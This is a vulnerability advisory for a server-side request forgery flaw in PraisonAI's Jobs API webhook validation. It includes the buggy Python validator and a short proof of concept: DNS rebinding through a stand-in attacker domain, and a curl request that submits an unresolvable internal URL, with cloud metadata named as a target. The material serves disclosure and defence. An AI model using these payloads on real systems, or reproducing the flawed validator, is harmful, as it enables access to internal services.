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PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation

CVE-2026-55535 · 2026-08-25 moderate

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Server-side request forgery
Affected
praisonai (PyPI)
Gets past
SSRF protection
CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
EPSS
0.3% chance of exploitation in 30 days

How it works, in short

The webhook URL check ignores DNS lookup failures and never rechecks the resolved address before the server posts to it, so a rebinding domain can reach internal hosts. (Our summary, written by a model. The source text is below.)

Details

Summary

The webhook_url field in the Jobs API silently passes validation when DNS resolution fails (socket.gaierror), enabling DNS rebinding attacks. An attacker's domain can initially resolve to a public IP (passing validation) then switch to an internal IP before the server makes the HTTP request.

Details

The validator catches socket.gaierror and silently allows the URL:

# src/praisonai/praisonai/jobs/models.py:55
try:
    ip = socket.gethostbyname(hostname)
    ip_obj = ipaddress.ip_address(ip)
    if ip_obj.is_private or ip_obj.is_loopback:
        raise ValueError("private address")
except socket.gaierror:
    pass  # BUG: DNS failure silently ignored → SSRF bypass

The HTTP call is made later with no re-validation:

# src/praisonai/praisonai/jobs/executor.py:402
async with httpx.AsyncClient() as client:
    await client.post(job.webhook_url, ...)  # no second IP check

Proof of Concept

DNS rebinding flow:
1. Register attacker.com with TTL=1s → resolves to 1.2.3.4 (public IP)
2. Submit job: webhook_url=http://attacker.com/callback
3. Validation passes (public IP)
4. Switch DNS: attacker.com → 127.0.0.1
5. Job completes → server POSTs to 127.0.0.1 → internal SSRF

Unresolvable domain bypass (no DNS rebinding required):

curl -X POST http://:8005/api/v1/runs \
  -d '{"prompt":"run","webhook_url":"http://unresolvable.internal/cb","agent_yaml":"..."}'
# Validation: gaierror → pass → URL accepted

Impact

SSRF to internal HTTP services: admin panels, databases, and cloud metadata APIs (e.g., http://169.254.169.254/). Exploitable without authentication.

References

Source: GitHub Advisory Database, used under CC BY 4.0.